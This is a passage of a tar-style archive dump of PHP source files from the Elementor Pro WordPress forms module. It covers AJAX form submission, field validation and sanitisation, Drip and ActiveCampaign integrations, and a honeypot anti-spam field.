= 'required_field'; const INVALID_FORM = 'invalid_form'; const SERVER_ERROR = 'server_error'; const SUBSCRIBER_ALREADY_EXISTS = 'subscriber_already_exists'; public static function is_form_submitted() { // PHPCS - No nonce is required, all visitors may send the form. return wp_doing_ajax() && isset( $_POST['action'] ) && 'elementor_pro_forms_send_form' === $_POST['action']; // phpcs:ignore WordPress.Security.NonceVerification.Missing } public static function get_default_messages() { return [ self::SUCCESS => esc_html__( 'Your submission was successful.', 'elementor-pro' ), self::ERROR => esc_html__( 'Your submission failed because of an error.', 'elementor-pro' ), self::FIELD_REQUIRED => esc_html__( 'This field is required.', 'elementor-pro' ), self::INVALID_FORM => esc_html__( 'Your submission failed because the form is invalid.', 'elementor-pro' ), self::SERVER_ERROR => esc_html__( 'Your submission failed because of a server error.', 'elementor-pro' ), self::SUBSCRIBER_ALREADY_EXISTS => esc_html__( 'Subscriber already exists.', 'elementor-pro' ), ]; } public static function get_default_message( $id, $settings ) { if ( ! empty( $settings['custom_messages'] ) ) { $field_id = $id . '_message'; if ( isset( $settings[ $field_id ] ) ) { return $settings[ $field_id ]; } } $default_messages = self::get_default_messages(); return isset( $default_messages[ $id ] ) ? $default_messages[ $id ] : esc_html__( 'Unknown error.', 'elementor-pro' ); } public function ajax_send_form() { $post_data = $_POST; // phpcs:ignore WordPress.Security.NonceVerification.Missing // $post_id that holds the form settings. $post_id = $post_data['post_id']; // $queried_id the post for dynamic values data. if ( isset( $post_data['queried_id'] ) ) { $queried_id = $post_data['queried_id']; } else { $queried_id = $post_id; } // Make the post as global post for dynamic values. Plugin::elementor()->db->switch_to_post( $queried_id ); $form_id = $post_data['form_id']; $elementor = Plugin::elementor(); $document = $elementor->documents->get( $post_id ); $form = null; $template_id = null; if ( $document ) { $form = Module::find_element_recursive( $document->get_elements_data(), $form_id ); } if ( ! empty( $form['templateID'] ) ) { $template = Plugin::elementor()->documents->get( $form['templateID'] ); if ( ! $template ) { return false; } $template_id = $template->get_id(); $form = $template->get_elements_data()[0]; } if ( empty( $form ) ) { $this ->add_error_message( self::get_default_message( self::INVALID_FORM, [] ) ) ->send(); } // restore default values $widget = $elementor->elements_manager->create_element_instance( $form ); $form['settings'] = $widget->get_settings_for_display(); $form['settings']['id'] = $form_id; $form['settings']['form_post_id'] = $template_id ? $template_id : $post_id; // TODO: Should be removed if there is an ability to edit "global widgets" $form['settings']['edit_post_id'] = $post_id; $this->current_form = $form; if ( empty( $form['settings']['form_fields'] ) ) { $this ->add_error_message( self::get_default_message( self::INVALID_FORM, $form['settings'] ) ) ->send(); } $record = new Form_Record( $post_data['form_fields'], $form ); if ( ! $record->validate( $this ) ) { $this ->add_error( $record->get( 'errors' ) ) ->add_error_message( self::get_default_message( self::ERROR, $form['settings'] ) ) ->send(); } $record->process_fields( $this ); //check for process errors if ( ! empty( $this->errors ) ) { $this->send(); } $module = Module::instance(); $actions = $module->actions_registrar->get(); $errors = array_merge( $this->messages['error'], $this->messages['admin_error'] ); /** * Filters the record before it sent to actions after submit. * * @since 3.3.0 * * @param Form_Record $record The form record. * @param Ajax_Handler $this The class that handle the submission of the record */ $record = apply_filters( 'elementor_pro/forms/record/actions_before', $record, $this ); foreach ( $actions as $action ) { if ( ! in_array( $action->get_name(), $form['settings']['submit_actions'], true ) ) { continue; } $exception = null; try { $action->run( $record, $this ); $this->handle_bc_errors( $errors ); } catch ( \Exception $e ) { $exception = $e; // Add an admin error. if ( ! in_array( $exception->getMessage(), $this->messages['admin_error'], true ) ) { $this->add_admin_error_message( "{$action->get_label()} {$exception->getMessage()}" ); } // Add a user error. $this->add_error_message( $this->get_default_message( self::ERROR, $this->current_form['settings'] ) ); } $errors = array_merge( $this->messages['error'], $this->messages['admin_error'] ); /** * After form actions run. * * Fires after Elementor forms run actions. This hook allows * developers to add functionality after certain actions run. * * @param Action_Base $action An instance of form action. * @param \Exception|null $exception An instance of the exception. */ do_action( 'elementor_pro/forms/actions/after_run', $action, $exception ); } $activity_log = $module->get_component( 'activity_log' ); if ( $activity_log ) { $activity_log->run( $record, $this ); } $cf7db = $module->get_component( 'cf7db' ); if ( $cf7db ) { $cf7db->run( $record, $this ); } /** * New Elementor form record. * * Fires before a new form record is sent by ajax. This hook allows * developers to add functionality before a new form record is sent. * * @since 1.0.0 * * @param Form_Record $record An instance of the form record. * @param Ajax_Handler $this An instance of the ajax handler. */ do_action( 'elementor_pro/forms/new_record', $record, $this ); $this->send(); } public function add_success_message( $message ) { $this->messages['success'][] = $message; return $this; } public function add_response_data( $key, $data ) { $this->data[ $key ] = $data; return $this; } public function add_error_message( $message ) { $this->messages['error'][] = $message; $this->set_success( false ); return $this; } public function add_error( $field, $message = '' ) { if ( is_array( $field ) ) { $this->errors += $field; } else { $this->errors[ $field ] = $message; } $this->set_success( false ); return $this; } public function add_admin_error_message( $message ) { $this->messages['admin_error'][] = $message; $this->set_success( false ); return $this; } public function set_success( $bool ) { $this->is_success = $bool; return $this; } public function send() { if ( $this->is_success ) { wp_send_json_success( [ 'message' => $this->get_default_message( self::SUCCESS, $this->current_form['settings'] ), 'data' => $this->data, ] ); } if ( empty( $this->messages['error'] ) && ! empty( $this->errors ) ) { $this->add_error_message( $this->get_default_message( self::INVALID_FORM, $this->current_form['settings'] ) ); } $post_id = Utils::_unstable_get_super_global_value( $_POST, 'post_id' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing $error_msg = implode( '<br>', $this->messages['error'] ); if ( current_user_can( 'edit_post', $post_id ) && ! empty( $this->messages['admin_error'] ) ) { $this->add_admin_error_message( esc_html__( 'This message is not visible to site visitors.', 'elementor-pro' ) ); $error_msg .= '<div class="elementor-forms-admin-errors">' . implode( '<br>', $this->messages['admin_error'] ) . '</div>'; } wp_send_json_error( [ 'message' => $error_msg, 'errors' => $this->errors, 'data' => $this->data, ] ); } public function get_current_form() { return $this->current_form; } /** * BC: checks if the current action add some errors to the errors array * if it add an error the "run" method treat it as a failed action. * * @param $errors * * @throws \Exception */ private function handle_bc_errors( $errors ) { $current_errors = array_merge( $this->messages['error'], $this->messages['admin_error'] ); $errors_diff = array_diff( $current_errors, $errors ); if ( count( $errors_diff ) > 0 ) { throw new \Exception( implode( ', ', $errors_diff ) ); } } public function __construct() { add_action( 'wp_ajax_elementor_pro_forms_send_form', [ $this, 'ajax_send_form' ] ); add_action( 'wp_ajax_nopriv_elementor_pro_forms_send_form', [ $this, 'ajax_send_form' ] ); } } drip-handler.php 0000666 00000004017 15166133740 0007642 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Drip_Handler { private $rest_client = null; private $api_token = ''; /** * Drip_Handler constructor. * * @param $api_token * * @throws \Exception */ public function __construct( $api_token ) { if ( empty( $api_token ) ) { throw new \Exception( 'Invalid API key.' ); } $this->init_rest_client( $api_token ); if ( ! $this->is_valid_api_token() ) { throw new \Exception( 'Invalid API key.' ); } } private function init_rest_client( $api_token ) { $this->api_token = $api_token; $this->rest_client = new Rest_Client( 'https://api.getdrip.com/v2/' ); $this->rest_client->add_headers( [ 'Authorization' => 'Basic ' . base64_encode( $this->api_token ), 'Content-Type' => 'application/vnd.api+json', ] ); } /** * validate api token * * @return bool * @throws \Exception */ private function is_valid_api_token() { $accounts = $this->get_accounts(); if ( ! empty( $accounts ) ) { return true; } $this->api_token = ''; return false; } /** * get drip accounts associated with API token * @return array * @throws \Exception */ public function get_accounts() { $results = $this->rest_client->get( 'accounts' ); $accounts = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body']['accounts'] ) ) { foreach ( $results['body']['accounts'] as $index => $account ) { $accounts[ $account['id'] ] = $account['name']; } } $return_array = [ 'accounts' => $accounts, ]; return $return_array; } /** * create subscriber at drip via api * * @param string $account_id * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $account_id = '', $subscriber_data = [] ) { $end_point = sprintf( '%s/subscribers/', $account_id ); return $this->rest_client->post( $end_point, [ 'subscribers' => [ $subscriber_data ] ] ); } } integration-base.php 0000666 00000004700 15166133740 0010523 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use Elementor\Controls_Manager; use Elementor\Repeater; use Elementor\Settings; use ElementorPro\Modules\Forms\Controls\Fields_Map; use ElementorPro\Modules\Forms\Widgets\Form; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } abstract class Integration_Base extends Action_Base { public function handle_panel_request( array $data ) {} public static function global_api_control( $widget, $api_key = '', $label = '', $condition = [], $id = '' ) { if ( empty( $api_key ) ) { $html = sprintf( /* translators: 1: Integration label, 2: Link opening tag, 3: Link closing tag. */ esc_html__( 'Set your %1$s in the %2$sIntegrations Settings%3$s.', 'elementor-pro' ), $label, sprintf( '<a href="%s" target="_blank">', Settings::get_url() . '#tab-integrations' ), '</a>' ); $content_classes = 'elementor-panel-alert elementor-panel-alert-warning'; } else { $html = sprintf( /* translators: 1: Integration label, 2: Link opening tag, 3: Link closing tag. */ esc_html__( 'You are using %1$s set in the %2$sIntegrations Settings%3$s.', 'elementor-pro' ), $label, sprintf( '<a href="%s" target="_blank">', Settings::get_url() . '#tab-integrations' ), '</a>' ); $content_classes = 'elementor-panel-alert elementor-panel-alert-info'; } /* translators: %s: Integration label. */ $html .= ' ' . sprintf( esc_html__( 'You can also set a different %s by choosing "Custom".', 'elementor-pro' ), $label ); $widget->add_control( $id . '_api_key_msg', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => $html, 'content_classes' => $content_classes, 'condition' => $condition, ] ); } protected function get_fields_map_control_options() { return []; } final protected function register_fields_map_control( Form $form ) { $repeater = new Repeater(); $repeater->add_control( 'remote_id', [ 'type' => Controls_Manager::HIDDEN ] ); $repeater->add_control( 'local_id', [ 'type' => Controls_Manager::SELECT ] ); $fields_map_control_options = [ 'label' => esc_html__( 'Field Mapping', 'elementor-pro' ), 'type' => Fields_Map::CONTROL_TYPE, 'separator' => 'before', 'fields' => $repeater->get_controls(), ]; $fields_map_control_options = array_merge( $fields_map_control_options, $this->get_fields_map_control_options() ); $form->add_control( $this->get_name() . '_fields_map', $fields_map_control_options ); } } action-base.php 0000666 00000001454 15166133740 0007460 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use ElementorPro\Modules\Forms\Widgets\Form; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } abstract class Action_Base { abstract public function get_name(); abstract public function get_label(); /** * Get the action ID. * * TODO: Make it an abstract function that will replace `get_name()`. * * @since 3.5.0 * * @return string */ public function get_id() { return $this->get_name(); } /** * @param Form_Record $record * @param Ajax_Handler $ajax_handler */ abstract public function run( $record, $ajax_handler ); /** * @param Form $form */ abstract public function register_settings_section( $form ); /** * @param array $element */ abstract public function on_export( $element ); } activecampaign-handler.php 0000666 00000006105 15166133740 0011657 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Activecampaign_Handler { private $rest_client = null; private $api_key = ''; public function __construct( $api_key, $base_url ) { if ( empty( $api_key ) ) { throw new \Exception( 'Invalid API key.' ); } if ( empty( $base_url ) ) { throw new \Exception( 'Invalid API URL.' ); } $this->init_rest_client( $api_key, $base_url ); if ( ! $this->is_valid_api_key() ) { throw new \Exception( 'Invalid API key or URL.' ); } } private function init_rest_client( $api_key, $base_url ) { $this->api_key = $api_key; $this->rest_client = new Rest_Client( trailingslashit( $base_url ) . 'admin/api.php' ); } /** * validate api key * * @return bool * @throws \Exception */ private function is_valid_api_key() { $lists = $this->get_lists(); if ( ! empty( $lists ) ) { return true; } $this->api_key = ''; return false; } /** * get ActiveCampaign lists associated with API key * @return array * @throws \Exception */ public function get_lists() { $results = $this->rest_client->get( '?api_action=list_list', [ 'api_key' => $this->api_key, 'ids' => 'all', 'api_output' => 'json', ] ); $lists = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body'] ) ) { foreach ( $results['body'] as $index => $list ) { if ( ! is_array( $list ) ) { continue; } $lists[ $list['id'] ] = $list['name']; } } $return_array = [ 'lists' => $lists, 'fields' => $this->get_fields(), ]; return $return_array; } /** * get ActiveCampaign custom fields associated with API key * @return array * @throws \Exception */ private function get_fields() { $results = $this->rest_client->get( '?api_action=list_field_view', [ 'api_key' => $this->api_key, 'ids' => 'all', 'api_output' => 'json', ] ); $fields = []; if ( ! empty( $results['body'] ) ) { foreach ( $results['body'] as $index => $field ) { if ( ! is_array( $field ) ) { continue; } $fields[] = [ 'remote_label' => $field['title'], 'remote_type' => $this->normalize_type( $field['type'] ), 'remote_id' => 'field[' . $field['id'] . ',0]', 'remote_required' => (bool) $field['isrequired'], ]; } } return $fields; } private function normalize_type( $type ) { static $types = [ 'text' => 'text', 'number' => 'number', 'address' => 'text', 'phone' => 'text', 'date' => 'text', 'url' => 'url', 'imageurl' => 'url', 'radio' => 'radio', 'dropdown' => 'select', 'birthday' => 'text', 'zip' => 'text', ]; return $types[ $type ]; } /** * create contact at Activecampaign via api * * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $subscriber_data = [] ) { $end_point = '?api_action=contact_sync&api_key=' . $this->api_key . '&api_output=json'; return $this->rest_client->request( 'POST', $end_point, $subscriber_data ); } } form-record.php 0000666 00000022674 15166133740 0007521 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use ElementorPro\Core\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Form_Record { protected $sent_data; protected $fields; protected $form_type; protected $form_settings; protected $files = []; protected $meta = []; public function get_formatted_data( $with_meta = false ) { $formatted = []; $no_label = esc_html__( 'No Label', 'elementor-pro' ); $fields = $this->fields; if ( $with_meta ) { $fields = array_merge( $fields, $this->meta ); } foreach ( $fields as $key => $field ) { if ( empty( $field['title'] ) ) { $formatted[ $no_label . ' ' . $key ] = $field['value']; } else { $formatted[ $field['title'] ] = $field['value']; } } return $formatted; } /** * @param Ajax_Handler $ajax_handler An instance of the ajax handler. * * @return bool */ public function validate( $ajax_handler ) { foreach ( $this->fields as $id => $field ) { $field_type = $field['type']; if ( ! empty( $field['required'] ) && '' === $field['value'] && 'upload' !== $field_type ) { $ajax_handler->add_error( $id, Ajax_Handler::get_default_message( Ajax_Handler::FIELD_REQUIRED, $this->form_settings ) ); } /** * Elementor form field validation. * * Fires when a single form field is being validated. This hook allows developers * to validate individual field types. * * The dynamic portion of the hook name, `$field_type`, refers to the field type. * * @since 2.0.0 * * @param array $field Form field. * @param Form_Record $this An instance of the form record. * @param Ajax_Handler $ajax_handler An instance of the ajax handler. */ do_action( "elementor_pro/forms/validation/{$field_type}", $field, $this, $ajax_handler ); } /** * Elementor form validation. * * Fires when form fields are being validated. This hook allows developers * to validate all form fields. * * @since 2.0.0 * * @param Form_Record $this An instance of the form record. * @param Ajax_Handler $ajax_handler An instance of the ajax handler. */ do_action( 'elementor_pro/forms/validation', $this, $ajax_handler ); return empty( $ajax_handler->errors ); } /** * @param Ajax_Handler $ajax_handler An instance of the ajax handler. * */ public function process_fields( $ajax_handler ) { foreach ( $this->fields as $id => $field ) { $field_type = $field['type']; /** * Elementor form field process. * * Fires when a single form field is being processed. This hook allows developers * to process individual field types. * * The dynamic portion of the hook name, `$field_type`, refers to the field type. * * @since 2.0.0 * * @param array $field Form field. * @param Form_Record $this An instance of the form record. * @param Ajax_Handler $ajax_handler An instance of the ajax handler. */ do_action( "elementor_pro/forms/process/{$field_type}", $field, $this, $ajax_handler ); } /** * Elementor form process. * * Fires when form fields are being processed. This hook allows developers * to process all form fields. * * @since 2.0.0 * * @param Form_Record $this An instance of the form record. * @param Ajax_Handler $ajax_handler An instance of the ajax handler. */ do_action( 'elementor_pro/forms/process', $this, $ajax_handler ); } public function get( $property ) { if ( isset( $this->{$property} ) ) { return $this->{$property}; } return null; } public function set( $property, $value ) { $this->{$property} = $value; } public function get_form_settings( $setting ) { if ( isset( $this->form_settings[ $setting ] ) ) { return $this->form_settings[ $setting ]; } return null; } public function get_field( $args ) { return wp_list_filter( $this->fields, $args ); } public function remove_field( $id ) { unset( $this->fields[ $id ] ); } public function update_field( $field_id, $property, $value ) { if ( ! isset( $this->fields[ $field_id ] ) || ! isset( $this->fields[ $field_id ][ $property ] ) ) { return; } $this->fields[ $field_id ][ $property ] = $value; } public function get_form_meta( $meta_keys = [] ) { $result = []; foreach ( $meta_keys as $metadata_type ) { switch ( $metadata_type ) { case 'date': $result['date'] = [ 'title' => esc_html__( 'Date', 'elementor-pro' ), 'value' => date_i18n( get_option( 'date_format' ) ), ]; break; case 'time': $result['time'] = [ 'title' => esc_html__( 'Time', 'elementor-pro' ), 'value' => date_i18n( get_option( 'time_format' ) ), ]; break; case 'page_url': $result['page_url'] = [ 'title' => esc_html__( 'Page URL', 'elementor-pro' ), 'value' => isset( $_POST['referrer'] ) ? esc_url_raw( wp_unslash( $_POST['referrer'] ) ) : '', // phpcs:ignore WordPress.Security.NonceVerification.Missing ]; break; case 'page_title': $result['page_title'] = [ 'title' => esc_html__( 'Page Title', 'elementor-pro' ), 'value' => isset( $_POST['referer_title'] ) ? sanitize_text_field( wp_unslash( $_POST['referer_title'] ) ) : '', // phpcs:ignore WordPress.Security.NonceVerification.Missing ]; break; case 'user_agent': $result['user_agent'] = [ 'title' => esc_html__( 'User Agent', 'elementor-pro' ), 'value' => isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_textarea_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '', ]; break; case 'remote_ip': $result['remote_ip'] = [ 'title' => esc_html__( 'Remote IP', 'elementor-pro' ), 'value' => Utils::get_client_ip(), ]; break; case 'credit': $result['credit'] = [ 'title' => esc_html__( 'Powered by', 'elementor-pro' ), 'value' => esc_html__( 'Elementor', 'elementor-pro' ), ]; break; } } return $result; } private function set_meta() { $form_metadata = $this->form_settings['form_metadata']; if ( empty( $form_metadata ) ) { return; } $this->meta = $this->get_form_meta( $form_metadata ); } private function set_fields() { foreach ( $this->form_settings['form_fields'] as $form_field ) { $field = [ 'id' => $form_field['custom_id'], 'type' => $form_field['field_type'], 'title' => $form_field['field_label'], 'value' => '', 'raw_value' => '', 'required' => ! empty( $form_field['required'] ), ]; if ( 'upload' === $field['type'] ) { $field['file_sizes'] = isset( $form_field['file_sizes'] ) ? $form_field['file_sizes'] : ''; $field['file_types'] = isset( $form_field['file_types'] ) ? $form_field['file_types'] : ''; $field['max_files'] = isset( $form_field['max_files'] ) ? $form_field['max_files'] : ''; } if ( isset( $this->sent_data[ $form_field['custom_id'] ] ) ) { $field['raw_value'] = $this->sent_data[ $form_field['custom_id'] ]; $value = $field['raw_value']; if ( is_array( $value ) ) { $value = implode( ', ', $value ); } $field['value'] = $this->sanitize_field( $field, $value ); } $this->fields[ $form_field['custom_id'] ] = $field; } } private function sanitize_field( $field, $value ) { $field_type = $field['type']; switch ( $field_type ) { case 'text': case 'password': case 'hidden': case 'search': case 'checkbox': case 'radio': case 'select': $value = sanitize_text_field( $value ); break; case 'url': $value = esc_url_raw( $value ); break; case 'textarea': $value = sanitize_textarea_field( $value ); break; case 'email': $value = sanitize_email( $value ); break; default: /** * Sanitize field value. * * Filters the value of the form field for sanitization purpose. This hook allows * developers to add custom sanitization for field values. * * The dynamic portion of the hook name, `$field_type`, refers to the field type. * * @since 1.0.0 * * @param string $value The field value. * @param array $field The field array. */ $value = apply_filters( "elementor_pro/forms/sanitize/{$field_type}", $value, $field ); } return $value; } public function replace_setting_shortcodes( $setting, $urlencode = false ) { // Shortcode can be `[field id="fds21fd"]` or `[field title="Email" id="fds21fd"]`, multiple shortcodes are allowed return preg_replace_callback( '/(\[field[^]]*id="(\w+)"[^]]*\])/', function( $matches ) use ( $urlencode ) { $value = ''; if ( isset( $this->fields[ $matches[2] ] ) ) { $value = $this->fields[ $matches[2] ]['value']; } if ( $urlencode ) { $value = urlencode( $value ); } return $value; }, $setting ); } public function add_file( $id, $index, $filename ) { if ( ! isset( $this->files[ $id ] ) || ! is_array( $this->files[ $id ] ) ) { $this->files[ $id ] = [ 'url' => [], 'path' => [], ]; } $this->files[ $id ]['url'][ $index ] = $filename['url']; $this->files[ $id ]['path'][ $index ] = $filename['path']; } public function has_field_type( $type ) { foreach ( $this->fields as $id => $field ) { if ( $type === $field['field_type'] ) { return true; } } return false; } public function __construct( $sent_data, $form ) { $this->form_type = $form['widgetType']; $this->form_settings = $form['settings']; $this->sent_data = stripslashes_deep( $sent_data ); $this->set_fields(); $this->set_meta(); } } honeypot-handler.php 0000666 00000005354 15166133740 0010556 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; use Elementor\Widget_Base; use ElementorPro\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * Honeypot field */ class Honeypot_Handler { public function add_field_type( $field_types ) { $field_types['honeypot'] = esc_html__( 'Honeypot', 'elementor-pro' ); return $field_types; } public function hide_label( $item, $item_index, $widget ) { if ( 'honeypot' === $item['field_type'] ) { $widget->set_render_attribute( 'field-group' . $item_index, 'class', 'elementor-field-type-text' ); $item['field_label'] = false; } return $item; } /** * @param string $item * @param integer $item_index * @param Widget_Base $widget */ public function render_field( $item, $item_index, $widget ) { $widget->set_render_attribute( 'input' . $item_index, 'type', 'text' ); $widget->add_render_attribute( 'input' . $item_index, 'style', 'display:none !important;' ); echo '<input size="1" '; $widget->print_render_attribute_string( 'input' . $item_index ); echo '>'; } /** * @param Form_Record $record * @param Ajax_Handler $ajax_handler */ public function validation( $record, $ajax_handler ) { $fields = $record->get_field( [ 'type' => 'honeypot', ] ); if ( empty( $fields ) ) { return; } foreach ( $fields as $field ) { if ( ! empty( $field['value'] ) ) { $ajax_handler->add_error( $field['id'], esc_html__( 'Invalid Form.', 'elementor-pro' ) ); } else { // If success - remove the field form list (don't send it in emails and etc ) $record->remove_field( $field['id'] ); } } } public function update_controls( Widget_Base $widget ) { $elementor = Plugin::elementor(); $control_data = $elementor->controls_manager->get_control_from_stack( $widget->get_unique_name(), 'form_fields' ); if ( is_wp_error( $control_data ) ) { return; } foreach ( $control_data['fields'] as $index => $field ) { if ( 'required' === $field['name'] || 'width' === $field['name'] ) { $control_data['fields'][ $index ]['conditions']['terms'][] = [ 'name' => 'field_type', 'operator' => '!in', 'value' => [ 'honeypot', ], ]; } } $widget->update_control( 'form_fields', $control_data ); } public function __construct() { add_filter( 'elementor_pro/forms/field_types', [ $this, 'add_field_type' ] ); add_action( 'elementor_pro/forms/render/item', [ $this, 'hide_label' ], 10, 3 ); add_action( 'elementor_pro/forms/render_field/honeypot', [ $this, 'render_field' ], 10, 3 ); add_action( 'elementor_pro/forms/validation', [ $this, 'validation' ], 10, 2 ); add_action( 'elementor/element/form/section_form_fields/before_section_end', [ $this, 'update_controls' ] ); } }
Close